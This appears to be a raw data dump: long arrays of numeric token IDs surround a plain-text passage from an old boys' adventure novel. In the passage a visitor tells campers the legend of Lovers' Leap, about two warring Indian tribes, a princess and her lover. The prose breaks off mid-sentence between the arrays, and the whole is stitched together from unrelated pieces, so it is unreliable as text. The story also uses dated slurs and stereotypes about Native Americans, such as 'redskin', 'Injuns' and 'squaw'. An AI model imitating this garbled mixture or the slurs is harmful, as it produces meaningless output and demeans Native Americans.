457, 84, 512, 1425, 187, 187, 1628, 4013, 13, 309, 923, 1806, 12918, 1997, 3751, 15, 773, 1147, 457, 84, 253, 1055, 273, 247, 24863, 17368, 13, 187, 1033, 15064, 407, 247, 1386, 273, 4361, 326, 690, 269, 25646, 952, 1067, 591, 79, 7556, 15, 309, 187, 71, 4306, 344, 457, 620, 755, 689, 352, 275, 673, 285, 320, 5293, 253, 7197, 323, 352, 1425, 187, 187, 7371, 4269, 322, 282, 3097, 281, 3802, 430, 20538, 15172, 314, 15, 187, 187, 1628, 28326, 273, 16869, 1806, 23321, 253, 23218, 13, 773, 42, 9428, 368, 457, 306, 3735, 253, 187, 19192, 273, 9497, 735, 457, 2070, 522, 32, 2064, 457, 84, 253, 28900, 689, 3212, 253, 8614, 13, 253, 1755, 187, 1171, 534, 310, 7101, 407, 326, 3168, 2831, 534, 368, 476, 16487, 314, 26923, 187, 26204, 253, 8467, 1425, 187, 187, 1628, 4497, 1806, 10017, 7306, 1351, 13, 773, 664, 457, 306, 3735, 1633, 490, 66, 483, 352, 1425, 187, 187, 1628, 1147, 457, 84, 247, 954, 18109, 13691, 1806, 753, 1997, 3751, 1289, 4360, 15, 773, 688, 253, 1897, 1078, 187, 783, 45573, 19991, 12668, 731, 562, 13, 767, 1355, 13, 2137, 3022, 23206, 273, 187, 8207, 2458, 13, 253, 11271, 5154, 371, 698, 285, 253, 12429, 356, 312, 790, 13, 497, 2761, 11485, 187, 255, 2137, 689, 436, 1798, 12785, 13, 534, 369, 9383, 33610, 407, 1097, 15, 4952, 187, 249, 2069, 273, 6330, 841, 23206, 574, 1652, 275, 1846, 285, 439, 25383, 1016, 187, 977, 347, 2080, 347, 1896, 15, 4794, 281, 253, 2926, 13, 418, 311, 536, 3230, 369, 247, 187, 1257, 35752, 28806, 273, 253, 11271, 5154, 371, 698, 13, 285, 3419, 2247, 5582, 13, 247, 2872, 21189, 187, 1171, 326, 22184, 13, 6799, 617, 281, 6627, 257, 521, 43610, 88, 312, 15, 1292, 13, 323, 690, 1921, 13, 187, 45, 311, 536, 3230, 574, 642, 897, 323, 3419, 2247, 5582, 285, 25060, 1234, 7228, 264, 521, 259, 3288, 272, 15, 2596, 187, 1201, 1223, 418, 311, 536, 3230, 37560, 3815, 275, 253, 9741, 703, 369, 13964, 407, 247, 187, 81, 386, 379, 1425, 187, 187, 1628, 7883, 2296, 627, 403, 642, 260, 529, 1032, 1060, 39462, 7721, 30807, 16617, 468, 15, 187, 187, 1628, 510, 28806, 651, 452, 644, 47256, 1806, 4821, 253, 45811, 13, 773, 7483, 323, 187, 783, 8959, 285, 27949, 7286, 273, 247, 10086, 13, 23639, 2872, 21189, 13, 665, 187, 83, 6093, 281, 617, 14471, 285, 48602, 253, 20018, 379, 342, 521, 12798, 15, 380, 2872, 187, 28531, 369, 16545, 13, 533, 417, 10369, 15, 3032, 1416, 369, 411, 19356, 825, 13, 285, 344, 369, 187, 66, 12429, 356, 19451, 15, 12257, 13, 275, 15866, 273, 253, 37429, 875, 253, 767, 187, 85, 725, 265, 13, 418, 311, 536, 3230, 25122, 6497, 275, 2389, 342, 411, 19356, 825, 15, 4683, 2282, 597, 187, 76, 1826, 616, 2389, 14, 11849, 651, 417, 2525, 342, 253, 25162, 273, 616, 952, 13, 187, 395, 3103, 352, 369, 4824, 327, 275, 4279, 949, 502, 395, 22019, 12225, 187, 249, 253, 18557, 15, 187, 187, 1628, 1989, 3419, 2247, 5582, 369, 7562, 247, 23327, 285, 3698, 1020, 5130, 2220, 418, 311, 536, 3230, 13, 187, 395, 581, 1388, 344, 3560, 617, 285, 3047, 253, 26987, 2525, 275, 253, 9741, 15, 187, 20696, 39500, 344, 20906, 2220, 411, 19356, 825, 13, 26523, 323, 779, 281, 2342, 187, 41938, 15, 34539, 760, 342, 616, 36014, 13, 253, 767, 2872, 6513, 1634, 13465, 247, 187, 25304, 90, 6680, 13, 275, 534, 1097, 497, 16426, 17513, 598, 15, 411, 19356, 825, 41549, 13, 187, 35529, 13, 285, 3419, 2247, 5582, 369, 1669, 8505, 13889, 2220, 253, 3216, 15, 187, 187, 1628, 40015, 285, 35479, 407, 418, 311, 536, 3230, 13, 411, 19356, 825, 13, 2167, 26426, 16545, 13, 187, 12710, 521, 1039, 896, 281, 521, 22184, 15, 1292, 672, 344, 2183, 253, 2926, 273, 253, 6680, 187, 395, 35907, 521, 2389, 323, 418, 311, 536, 3230, 521, 3392, 13, 247, 7015, 13, 9461, 275, 38696, 187, 395, 12668, 253, 28806, 1977, 13, 362, 23581, 326, 642, 11271, 5154, 371, 333, 943, 2455, 187, 21528, 247, 12429, 356, 19451, 323, 521, 3896, 1403, 15, 49092, 285, 26952, 13, 411, 19356, 825, 812, 417, 187, 38722, 247, 1133, 275, 867, 26739, 593, 13, 285, 49654, 352, 651, 452, 1961, 264, 779, 187, 24481, 574, 344, 644, 2104, 281, 513, 594, 15, 187, 187, 1628, 45, 311, 536, 3230, 4895, 281, 617, 952, 285, 6311, 13, 281, 617, 21278, 8922, 13, 326, 187, 8903, 2247, 5582, 574, 644, 1119, 407, 690, 29353, 13, 665, 574, 3033, 598, 521, 187, 27497, 6465, 285, 3982, 779, 896, 13, 9338, 13, 281, 253, 7773, 15, 754, 1364, 452, 644, 187, 66, 10458, 581, 13, 436, 294, 1397, 5914, 13, 323, 344, 858, 417, 3150, 15, 1723, 13, 344, 2183, 253, 187, 19192, 273, 253, 3443, 293, 342, 411, 19356, 825, 13, 285, 840, 336, 28287, 418, 311, 536, 3230, 369, 2918, 187, 81, 974, 1037, 247, 37435, 407, 617, 3392, 13, 665, 12316, 3419, 2247, 5582, 326, 703, 187, 11425, 2489, 521, 3896, 1403, 15, 2091, 253, 16545, 21189, 12372, 521, 4757, 187, 395, 1786, 344, 369, 281, 452, 617, 13, 1880, 703, 16632, 352, 390, 417, 15, 187, 187, 1628, 4125, 13, 347, 352, 11852, 1046, 3226, 273, 5968, 13, 436, 3177, 281, 820, 17822, 617, 187, 26204, 617, 588, 1160, 418, 311, 536, 3230, 760, 253, 625, 3413, 326, 703, 651, 187, 7594, 5663, 281, 3419, 2247, 5582, 15, 1310, 703, 574, 3663, 411, 19356, 825, 13, 604, 703, 369, 281, 923, 187, 13243, 642, 625, 436, 1930, 273, 253, 27575, 36044, 1997, 2261, 13, 703, 369, 11512, 187, 3529, 703, 651, 3150, 253, 3896, 1403, 273, 642, 637, 15, 329, 18897, 13, 9047, 28027, 5954, 187, 1615, 2360, 285, 407, 1388, 13, 703, 33305, 34095, 13702, 273, 247, 45591, 342, 253, 187, 77, 1189, 665, 574, 9809, 617, 432, 253, 20018, 379, 285, 16473, 253, 2137, 3022, 187, 8903, 2247, 5582, 275, 247, 4344, 285, 1014, 6680, 15, 1198, 13, 1014, 347, 703, 574, 644, 8877, 187, 12594, 407, 253, 11790, 12429, 356, 312, 790, 13, 3738, 344, 812, 1056, 642, 3434, 281, 187, 32770, 617, 285, 812, 28438, 24476, 247, 867, 26739, 593, 13, 411, 19356, 825, 574, 5248, 187, 379, 247, 1007, 432, 521, 3644, 2927, 326, 369, 247, 31760, 285, 247, 9023, 15, 1893, 703, 187, 8754, 959, 323, 779, 281, 1705, 13, 13224, 326, 24225, 344, 651, 513, 594, 285, 1379, 187, 379, 1977, 15, 187, 187, 1628, 3404, 1390, 13, 2299, 13, 703, 3407, 281, 4709, 326, 703, 574, 13308, 275, 23732, 13, 323, 187, 8903, 2247, 5582, 13, 12206, 1142, 11527, 38763, 2220, 521, 1436, 13, 574, 12372, 187, 8701, 4757, 285, 369, 7004, 273, 617, 3392, 326, 253, 673, 943, 320, 873, 187, 9453, 344, 812, 1421, 617, 281, 521, 43610, 88, 312, 15, 11474, 703, 3260, 273, 841, 45667, 187, 395, 273, 253, 27875, 1482, 273, 253, 2872, 21189, 13, 418, 311, 536, 3230, 4934, 617, 11233, 187, 339, 3256, 1128, 413, 431, 617, 3644, 4358, 1041, 1900, 17892, 13, 326, 3419, 2247, 5582, 1537, 417, 187, 1088, 275, 617, 2927, 253, 11322, 281, 3150, 2581, 685, 11929, 15, 329, 12798, 13, 534, 187, 6689, 574, 1119, 13, 369, 8763, 2220, 617, 1436, 13, 285, 436, 13, 604, 2717, 2010, 13, 187, 12756, 8046, 617, 281, 8773, 387, 253, 1390, 2774, 15, 2596, 2266, 13, 19779, 19031, 187, 22412, 715, 617, 16237, 297, 651, 873, 617, 1959, 15, 187, 187, 1628, 3404, 1390, 253, 1388, 369, 4907, 13, 285, 253, 7015, 273, 253, 11271, 5154, 371, 698, 2183, 521, 187, 33475, 326, 327, 253, 2298, 736, 703, 369, 281, 2489, 253, 3896, 1403, 273, 3419, 2247, 5582, 15, 187, 2773, 2360, 703, 858, 417, 2810, 617, 2927, 275, 4600, 13, 3738, 13, 10776, 3240, 187, 23350, 13, 1293, 247, 2014, 4866, 281, 549, 1312, 18910, 13, 703, 3977, 617, 187, 87, 304, 39821, 7496, 281, 2868, 703, 1499, 19839, 15, 733, 369, 617, 4096, 281, 1611, 281, 187, 719, 554, 6593, 432, 253, 44722, 49953, 275, 253, 3644, 383, 3038, 285, 1379, 8630, 15, 187, 187, 1628, 1909, 703, 2242, 3021, 703, 3735, 1633, 1128, 783, 16487, 383, 20035, 282, 13, 751, 253, 187, 15106, 942, 273, 247, 281, 324, 275, 253, 6505, 28, 2568, 1633, 2183, 617, 352, 369, 417, 247, 187, 936, 324, 13, 285, 13, 342, 617, 2798, 39883, 13, 703, 18029, 285, 18029, 15, 3327, 1574, 187, 6689, 3735, 617, 1416, 18017, 2761, 275, 617, 2472, 13, 285, 703, 3260, 352, 574, 644, 187, 67, 675, 742, 407, 253, 11233, 273, 411, 19356, 825, 15, 1500, 3260, 617, 21514, 574, 1705, 387, 1390, 15, 187, 3378, 512, 253, 10861, 285, 41088, 273, 521, 5492, 344, 574, 43801, 715, 253, 187, 40579, 486, 13, 417, 1014, 25758, 247, 14343, 4370, 15, 754, 369, 3345, 253, 44722, 49953, 28, 187, 7483, 253, 6906, 3402, 4272, 731, 15, 187, 187, 1628, 45, 49277, 407, 617, 5165, 19529, 281, 253, 21356, 273, 617, 3392, 13, 253, 187, 21063, 13, 253, 7496, 513, 4337, 15, 411, 19356, 825, 457, 84, 3564, 1119, 521, 13386, 285, 23457, 1070, 187, 13243, 342, 28438, 247, 3590, 15, 2635, 13, 342, 253, 1072, 17458, 13, 344, 3977, 418, 311, 536, 3230, 187, 483, 273, 253, 7773, 285, 1977, 715, 253, 2806, 24484, 273, 253, 9741, 15, 187, 187, 1628, 1276, 574, 4592, 369, 417, 6888, 407, 253, 11271, 5154, 371, 698, 1919, 4131, 187, 1473, 939, 264, 15, 2635, 13, 347, 368, 778, 2868, 13, 627, 369, 1633, 2509, 15, 380, 1711, 187, 21063, 1925, 2220, 3419, 2247, 5582, 281, 3324, 253, 28806, 896, 13, 285, 3419, 2247, 5582, 187, 13382, 1701, 281, 513, 594, 15, 2726, 247, 13365, 2872, 29353, 387, 521, 25296, 13, 344, 2335, 598, 187, 783, 11693, 15, 9064, 1897, 285, 1264, 15513, 597, 23321, 253, 37637, 26987, 187, 3113, 253, 3578, 10757, 273, 2614, 73, 2261, 15, 15643, 327, 253, 7002, 1388, 253, 8205, 398, 187, 13784, 275, 2220, 411, 19356, 825, 285, 418, 311, 536, 3230, 13, 323, 253, 28806, 369, 35725, 15, 380, 187, 78, 406, 16559, 968, 497, 4783, 432, 617, 14771, 4669, 13, 285, 1014, 411, 19356, 825, 457, 84, 1270, 187, 45563, 574, 644, 30643, 48715, 949, 12206, 253, 42358, 275, 521, 6174, 187, 1189, 1142, 273, 253, 7227, 5053, 15, 1583, 497, 18195, 275, 253, 14700, 187, 90, 9631, 15, 1621, 2647, 534, 1039, 597, 7799, 281, 32645, 13, 597, 1119, 3746, 187, 7317, 745, 13, 285, 6524, 13, 342, 253, 8205, 398, 11196, 275, 13, 597, 497, 8877, 187, 483, 2220, 253, 1077, 1308, 750, 273, 326, 1270, 28900, 835, 253, 2831, 1024, 9572, 15, 187, 3726, 812, 417, 36672, 13, 285, 281, 1614, 896, 715, 253, 9741, 432, 534, 597, 187, 10178, 1705, 5486, 2717, 5321, 2457, 9232, 13, 1014, 2167, 597, 497 ]

a puzzled way. “What’s he talking about?” he asked. “Injuns!” hissed Piper, unabashed. “We pioneers know full well the perils that menace us in this redskin haunted land, but years of experience amid such dangers have taught us to baffle the varmints. Those who lack our knowledge should cling close to the settlements, where they may seek the protection of the block houses whenever the pizen warriors go on a rampage.” The visitor turned from Sleuth to Grant. “Anything the matter with him up here?” he asked, touching his forehead. “Nothing but illuminated literature,” answered Rod, laughing. “At home Piper has Sherlock Holmes and Old Sleuth backed against the ropes, and groggy. He’s the greatest detective that ever solved the mystery of a dark and terrible crime. Here in the woods he is the emulator of Daniel Boone, Simon Kenton and ‘Deadeye Dick, the Boy Scout of the Border.’ That’s all.” “Oh, I see,” laughed Granger. “It’s the effect of a vivid imagination, spurred by a line of reading that some fussy people call pernicious. I fancy he’ll get over it in time and be none the worse for it.” Which caused Sleuth to snort disgustedly. “Speaking of Indians,” pursued the visitor, “I suppose you’ve heard the story of Lovers’ Leap? That’s the cliff over behind the hotel, the top of which is marked by that white cross which you can faintly discern against the sky.” “Well,” replied Crane, “we’ve heard something abaout it.” “It’s a most romantic legend,” said Granger glibly. “In the days before the invading whites drove them out, two small, warlike tribes of Indians, the Passagonquays and the Mattagamons, were almost constantly at war over this particular territory, which was coveted by both. Even in times of peace these tribes had little in common and shunned each other as far as possible. According to the story, Lolokana was a beautiful princess of the Passagonquays, and Agamenthan, a young brave of that tribe, desired her to brighten his wigwam. But, for some reason, Lolokana had no use for Agamenthan and steadily repulsed his wooing. One day while Lolokana wandered alone in the forest she was attacked by a panther.” “Who says there are no cougars hereabouts?” muttered Piper. “The princess would have been slain,” continued the narrator, “only for the prompt and fortunate appearance of a tall, handsome young brave, who rushed to her rescue and slew the panther with his knife. The young Indian was wounded, but not seriously. His name was Woganock, and he was a Mattagamon. Nevertheless, in spite of the hostility between the two tribes, Lolokana promptly fell in love with Woganock. Of course they knew their love-making would not meet with the sanction of their people, and therefore it was carried on in secret through clandestine meetings in the woods. “But Agamenthan was keeping a jealous and watchful eye upon Lolokana, and one day he followed her and saw the lovers meet in the forest. Without hesitation he rushed upon Woganock, shouting for him to defend himself. Armed only with their knives, the two young braves fought a bloody battle, in which both were badly chopped up. Woganock conquered, however, and Agamenthan was left apparently dying upon the ground. “Supported and aided by Lolokana, Woganock, though desperately wounded, made his way back to his tribe. But when he told the story of the battle and confessed his love for Lolokana his father, a chief, rose in wrath and drove the princess away, vowing that no Passagonquay should ever take a Mattagamon for his squaw. Weak and helpless, Woganock could not lift a hand in remonstrance, and doubtless it would have availed him little had he been able to do so. “Lolokana returned to her people and learned, to her astonishment, that Agamenthan had been found by some warriors, who had bound up his injuries and brought him back, alive, to the village. He must have been a tough one, this redskin, for he did not die. However, he told the story of the duel with Woganock, and thenceforth Lolokana was held practically a captive by her father, who promised Agamenthan that she should become his squaw. When the wounded brave recovered his strength and health he was to have her, whether she wished it or not. “Now, as it affects every girl of spirit, this attempt to coerce her against her will made Lolokana only the more determined that she would never belong to Agamenthan. If she had lost Woganock, if she was to see him no more this side of the Happy Hunting Grounds, she was resolved that she would die the squaw of no man. A prisoner, watched vigilantly by night and by day, she dreamed splendid dreams of a reunion with the lover who had saved her from the panther and defeated the warlike Agamenthan in a fair and even battle. For, even as she had been driven away by the angry Mattagamons, although he could make no effort to shield her and could scarcely whisper a remonstrance, Woganock had cast her a look from his dark eyes that was a pledge and a promise. So she waited for him to come, confident that sometime he would do so and take her away. “At last, however, she began to fear that she had waited in vain, for Agamenthan, bearing many terrible scars upon his person, had recovered his strength and was asking of her father that the time should be set when he could lead her to his wigwam. Though she knew of these councils and of the impatience of the young brave, Lolokana kept her lips sealed—kept her dark lashes always lowered, that Agamenthan might not read in her eyes the resolve to die rather than submit. A knife, which she had found, was hidden upon her person, and this, if nothing else, would enable her to escape at the last moment. One strong, swift thrust deep into her bosom would set her free. “At last the day was named, and the chief of the Passagonquays told his daughter that on the morrow she was to become the squaw of Agamenthan. That night she did not close her eyes in sleep, although, lying quite still, without a single movement to arouse suspicion, she led her vigilant guard to believe she slumbered. It was her purpose to try to creep forth from the teepee in the darkest hours and take flight. “As she lay thus she heard something—the faintest rustle, like the movements of a toad in the leaves; yet something told her it was not a toad, and, with her heart pounding, she listened and listened. Presently she heard her name whispered almost in her ear, and she knew it had been breathed by the lips of Woganock. She knew her lover had come at last. With all the skill and stealth of his race he had crept into the village, not even disturbing a sleeping dog. He was outside the teepee; only the thin wall divided them. “Lulled by her apparent submission to the decree of her father, the chief, the guard dozed. Woganock’s hands found his throat and strangled him with scarcely a sound. Then, with the same caution, he led Lolokana out of the village and away into the black depths of the forest. “What had happened was not discovered by the Passagonquays until morning dawned. Then, as you may believe, there was something doing. The old chief called upon Agamenthan to bring the princess back, and Agamenthan promised to do so. With a dozen young warriors at his heels, he took up the trail. Three days and three nights they pursued the fleeing lovers with the tenacity of bloodhounds. Early on the fourth day the pursuers closed in upon Woganock and Lolokana, for the princess was weary. The moccasins were gone from her bleeding feet, and even Woganock’s great strength had been terribly taxed through bearing the maiden in his arms over many of the rough places. They were trapped in the mountains yonder. No matter which way they sought to flee, they found themselves cut off, and eventually, with the pursuers closing in, they were driven out upon the very brink of that great cliff where the cross now stands. They could not descend, and to turn back into the forest from which they had come meant nothing save final capture, even though they were

[ 320, 1270, 281, 3894, 342, 11651, 665, 497, 7591, 281, 8041, 15, 34692, 17979, 3918, 13, 22840, 33556, 187, 187, 42, 6311, 625, 275, 581, 1388, 685, 309, 457, 306, 6311, 512, 807, 2, 9966, 273, 1457, 11263, 387, 253, 2448, 15382, 7115, 187, 187, 42, 369, 594, 17847, 342, 253, 4583, 2362, 15, 380, 3290, 273, 253, 27228, 369, 1755, 14, 1439, 348, 13, 285, 253, 3745, 281, 2990, 342, 751, 14, 23674, 952, 1309, 253, 13471, 285, 387, 11157, 369, 38089, 15, 9966, 13, 11841, 11263, 18817, 13, 34520, 13145, 187, 187, 1552, 369, 581, 273, 253, 1682, 27691, 309, 457, 306, 2455, 11612, 15, 8404, 11263, 15821, 13, 427, 1920, 3737, 187, 187, 42, 1869, 352, 369, 16088, 4623, 281, 253, 8446, 15, 309, 7428, 1977, 342, 2067, 2234, 5697, 326, 309, 476, 457, 85, 3343, 281, 3359, 327, 619, 8548, 11136, 15, 9060, 5259, 17528, 12743, 13, 8148, 983, 251, 2499, 187, 187, 56, 9631, 1020, 285, 47860, 2362, 275, 534, 309, 651, 751, 281, 452, 619, 2862, 2285, 10078, 13, 1690, 690, 8548, 15, 16480, 16155, 13, 16132, 21444, 22717, 84, 187, 187, 1147, 369, 247, 15143, 2362, 13, 285, 1142, 273, 253, 8130, 8549, 3063, 588, 4151, 776, 2567, 457, 84, 2675, 3420, 7823, 4886, 3579, 15, 15650, 6317, 1294, 21639, 13, 10286, 12664, 187, 187, 28488, 8537, 17999, 15, 32161, 3179, 10498, 11709, 15, 309, 2427, 896, 281, 253, 3906, 12832, 342, 247, 3289, 36863, 273, 11222, 281, 7409, 15, 5220, 13, 1270, 5697, 323, 4413, 342, 1698, 35905, 15, 22827, 15, 9966, 273, 40254, 25694, 285, 21506, 13, 15964, 47, 187, 187, 6104, 790, 263, 187, 187, 3404, 253, 8404, 11263, 31692, 3559, 407, 4653, 6317, 13, 34423, 588, 3986, 8307, 273, 10924, 13, 9137, 285, 5865, 12440, 2819, 281, 3157, 616, 2675, 3420, 8130, 285, 30278, 15, 29355, 441, 347, 247, 1869, 6657, 387, 436, 7870, 4491, 2362, 407, 7552, 247, 28924, 3063, 15, 187, 187, 4350, 35427, 1372, 5648, 3123, 378, 1400, 16462, 24265, 2949, 39938, 27, 187, 187, 7093, 18479, 327, 512, 9137, 285, 2362, 4753, 187, 187, 19, 48301, 12960, 11999, 323, 634, 4750, 187, 187, 16135, 14, 6377, 519, 275, 253, 8041, 1796, 789, 3305, 187, 187, 3, 22, 19348, 1422, 40713, 626, 13665, 3, 1618, 670, 634, 2567, 2908, 275, 253, 8041, 1796, 789, 3305, 285, 2362, 4422, 187, 187, 35, 4902, 281, 3148, 634, 38786, 4753, 275, 247, 1029, 3174, 7137, 2170, 187, 187, 23857, 494, 35625, 13630, 2127, 281, 5007, 281, 634, 8548, 285, 11651, 281, 8041, 253, 8059, 187, 187, 28326, 5107, 323, 634, 9165, 187, 187, 42153, 32268, 281, 1246, 2561, 432, 634, 6003, 187, 187, 1845, 4694, 273, 253, 8041, 1796, 1618, 342, 2120, 3057, 1491, 187, 187, 31090, 673, 1309, 253, 2362, 835, 368, 1833, 452, 253, 4839, 281, 1218, 567, 282, 745, 271, 5382, 187, 187, 19824, 272, 9091, 342, 36994, 187, 187, 2809, 483, 14, 8349, 327, 2675, 3420, 285, 327, 3924, 387, 253, 2362, 187, 187, 11778, 643, 38786, 3198, 32, 1422, 476, 36219, 247, 38786, 5522, 15, 15908, 610, 13, 7214, 247, 22397, 11057, 273, 49329, 15306, 84, 403, 26006, 2, 1198, 1491, 670, 38786, 12149, 13, 4496, 3057, 37073, 26211, 387, 465, 84, 22541, 33, 10773, 34291, 15, 681, 15, 187, 187, 4967, 49329, 263, 253, 8404, 11263, 31692, 32, 187, 187, 1785, 607, 3061, 14, 16126, 285, 22251, 665, 871, 253, 6349, 273, 1907, 253, 987, 3580, 285, 3238, 323, 616, 2675, 3420, 6031, 187, 187, 17964, 327, 4288, 4815, 285, 2525, 342, 634, 1655, 6383, 285, 2442, 747, 8548, 275, 581, 7408, 187, 187, 41803, 247, 747, 1885, 390, 2579, 281, 3061, 14, 16126, 275, 253, 2675, 3420, 3114, 187, 187, 3175, 6317, 443, 1644, 8247, 342, 5721, 7022, 3968, 187, 187, 510, 5721, 7022, 3968, 2990, 310, 253, 5674, 457, 84, 6253, 9836, 23635, 14, 1661, 2778, 6003, 342, 1052, 2739, 10907, 285, 3925, 13, 933, 2739, 20018, 2246, 285, 11484, 5659, 15, 20058, 342, 4292, 13, 45643, 13, 9341, 285, 2208, 359, 476, 990, 23635, 15, 329, 5110, 273, 253, 4653, 6317, 8, 8404, 11263, 31692, 13571, 6224, 588, 564, 281, 5721, 7022, 3968, 15, 3351, 299, 3296, 267, 3855, 45340, 10278, 14367, 346, 5622, 538, 3, 275, 12911, 14, 19189, 91, 10863, 717, 5037, 1216, 296, 356, 357, 423, 9416, 14038, 10278, 22374, 16506, 463, 9108, 5756, 15, 29744, 42981, 91, 23424, 3307, 530, 6285, 35424, 1784, 3105, 579, 71, 9416, 15, 346, 35567, 32624, 312, 442, 399, 607, 13, 299, 32189, 14671, 3809, 9527, 36827, 2721, 2071, 538, 13, 2870, 384, 275, 2884, 3681, 257, 995, 18561, 442, 9416, 5721, 10207, 664, 6285, 1033, 2845, 379, 15, 5329, 361, 43553, 9296, 35782, 711, 898, 933, 43553, 9296, 35782, 7753, 39583, 399, 3844, 1462, 257, 298, 469, 350, 77, 1368, 275, 2884, 3681, 257, 27, 34120, 346, 55, 2555, 22374, 995, 21650, 1578, 516, 401, 607, 75, 1662, 251, 344, 74, 10278, 85, 15, 9362, 2884, 3681, 257, 5172, 445, 5807, 251, 8449, 359, 4835, 10736, 396, 864, 15, 329, 12914, 418, 2381, 10629, 34632, 33332, 3807, 11858, 5721, 10207, 664, 6285, 282, 1137, 269, 6968, 445, 275, 1850, 444, 968, 16859, 15, 187, 187, 7510, 10207, 664, 6285, 1948, 3241, 346, 688, 26159, 606, 83, 1648, 3, 490, 67, 2845, 864, 187, 187, 22903, 418, 28544, 3615, 15932, 257, 9374, 2711, 25724, 15747, 12606, 737, 1504, 1784, 418, 486, 5807, 88, 1321, 304, 15, 346, 19932, 378, 26063, 10863, 46620, 2298, 505, 304, 3807, 711, 664, 1541, 320, 21971, 3767, 19129, 3150, 418, 2381, 10629, 71, 24452, 2721, 4079, 13014, 275, 659, 437, 1947, 995, 594, 1784, 2101, 2845, 379, 15, 34120, 418, 2381, 10629, 13449, 32925, 296, 43715, 15701, 3150, 5721, 10207, 664, 6285, 282, 1137, 20648, 5549, 248, 3471, 282, 1541, 257, 611, 14983, 15, 9362, 444, 968, 16859, 3026, 272, 17079, 5172, 445, 5807, 88, 1321, 304, 27, 346, 14132, 3471, 384, 8449, 5061, 1058, 7068, 9838, 15, 41436, 298, 2381, 45067, 27359, 8449, 7331, 39583, 3807, 19748, 9527, 443, 2275, 1392, 2496, 259, 24452, 9163, 249, 14671, 36109, 1811, 27252, 490, 67, 445, 26159, 298, 38740, 995, 18561, 442, 1784, 2101, 2845, 379, 15, 34120, 346, 688, 26159, 606, 83, 1648, 3, 44836, 490, 463, 9108, 5756, 19748, 278, 48067, 15, 187, 187, 8096, 8377, 262, 19803, 263, 1541, 288, 466, 10278, 1578, 24967, 1784, 5721, 10207, 664, 6285, 13, 3150, 418, 28544, 3615, 15932, 257, 259, 8824, 3354, 28547, 17542, 275, 1850, 657, 526, 770, 356, 288, 460, 249, 277, 1952, 1808, 15, 496, 1784, 28887, 298, 38740, 3150, 5721, 10207, 664, 6285, 282, 1137, 13, 21650, 5807, 251, 275, 1784, 427, 13261, 3471, 8186, 13, 9527, 443, 2275, 1392, 2496, 36109, 1811, 27252, 490, 67, 445, 26159, 15, 346, 35567, 10911, 10841, 442, 443, 2275, 1392, 2496, 10863, 299, 6839, 321, 91, 463, 71, 21243, 5784, 292, 995, 18561, 442, 15827, 2101, 2845, 29769, 15, 443, 27701, 898, 15, 938, 530, 6285, 42185, 637, 359, 2562, 4784, 41535, 77, 28544, 3615, 15932, 257, 6290, 348, 1392, 649, 17496, 15, 346, 22903, 399, 607, 32937, 21407, 44222, 711, 443, 2275, 1392, 14735, 1682, 70, 384, 32925, 285, 70, 2013, 16506, 2280, 3870, 4716, 30007, 1278, 257, 15, 399, 430, 5807, 88, 2585, 1578, 359, 2562, 995, 288, 466, 10278, 1578, 15, 187, 187, 7510, 10207, 664, 73, 1109, 1136, 516, 444, 968, 16859, 2336, 1059, 15701, 187, 187, 56, 21243, 5047, 711, 418, 2381, 9163, 968, 255, 13505, 40803, 9416, 5721, 10207, 664, 73, 1109, 1136, 2336, 1059, 15701, 15, 346, 56, 27701, 1784, 14473, 2721, 499, 16859, 442, 9416, 418, 2381, 10629, 10629, 4123, 976, 15, 12658, 24688, 3792, 40803, 8449, 1471, 3697, 4123, 976, 755, 287, 46756, 995, 18561, 442, 3150, 5721, 10207, 664, 6285, 1033, 2845, 29769, 15, 12658, 17672, 1948, 3241, 20648, 416, 3592, 1947, 8289, 1914, 296, 1888, 2061, 85, 19748, 13, 40803, 30562, 13014, 5807, 664, 6554, 2336, 1059, 15701, 15, 346, 59, 360, 4051, 27646, 35424, 9527, 44544, 27092, 1258, 469, 490, 995, 288, 466, 10278, 1578, 15, 12658, 5721, 10207, 664, 73, 1109, 1136, 48428, 2336, 1059, 15701, 20648, 399, 1914, 296, 490, 15, 187, 187, 8096, 8377, 262, 356, 16855, 356, 40362, 2145, 530, 6285, 6673, 5992, 70, 3150, 5721, 10207, 664, 6285, 13, 18117, 891, 6285, 444, 968, 16859, 275, 1784, 19523, 348, 76, 2371, 4781, 70, 320, 423, 292, 42185, 15, 346, 52, 3051, 69, 3150, 14473, 2721, 275, 1471, 443, 2275, 1392, 2496, 1578, 1182, 335, 38083, 296, 13, 19748, 3150, 21444, 693, 770, 2146, 25730, 250, 1780, 15932, 12606, 37337, 3767, 995, 18561, 442, 15827, 3130, 907, 11135, 2845, 29769, 15, 3697, 251, 717, 8377, 262, 19803, 263, 1541, 44674, 3150, 3130, 907, 74, 32624, 49394, 13, 18117, 23424, 2827, 16750, 8024, 76, 2477, 14543, 38677, 1784, 7188, 69, 13261, 12606, 21444, 296, 2094, 1947, 1682, 70, 248, 15, 329, 976, 3150, 5721, 10207, 664, 6285, 44674, 8377, 262, 356, 925, 26288, 12606, 21444, 296, 2094, 1947, 755, 5265, 85, 15, 346, 37, 447, 265, 5979, 5172, 445, 1578, 30562, 13014, 27359, 9416, 1349, 274, 1182, 46766, 33332, 615, 611, 6228, 995, 44674, 1578, 3471, 47664, 39583, 15, 187, 187, 26186, 1668, 15, 1229, 530, 6285, 716, 300, 442, 3150, 3130, 907, 74, 4784, 13, 18117, 3150, 21444, 693, 770, 77, 17079, 346, 312, 38188, 3, 2827, 1070, 17496, 396, 1914, 15, 346, 56, 343, 3471, 864, 359, 2562, 8449, 21444, 296, 2094, 1947, 16506, 13, 37241, 30562, 28547, 13014, 84, 24499, 21444, 2244, 2679, 256, 6533, 449, 187, 187, 55, 38853, 444, 968, 12271, 2721, 275, 1850, 1339, 91, 1866, 411, 406, 864, 187, 187, 38, 249, 2101, 2845, 379, 1784, 5721, 10207, 664, 6285, 18561, 442, 13, 637, 42185, 275, 1850, 2336, 26774, 35697, 411, 406, 864, 331, 1392, 2109, 304, 12606, 1471, 32737, 6841, 615, 516, 444, 968, 16859, 34381, 265, 257, 15, 9362, 18268, 460, 42185, 13014, 391, 11014, 304, 32624, 30373, 85, 34381, 265, 257, 13, 4204, 379, 396, 1914, 30070, 2325, 11135, 928, 1182, 46766, 33332, 615, 500, 814, 423, 29968, 37643, 46473, 277, 2156, 249, 9480, 606, 85, 15, 3173, 3344, 37502, 288, 21562, 299, 7564, 27366, 2745, 587, 1784, 7659, 413, 3471, 1288, 1136, 85, 13, 516, 4416, 579, 274, 1462, 15827, 10388, 328, 1240, 3090, 38489, 275, 2884, 3681, 257, 15, 187, 187, 5072, 6285, 30070, 380, 785, 401, 17499, 71, 308, 486, 23424, 5721, 10207, 664, 73, 250, 968, 16859, 275, 12911, 14, 19189, 91, 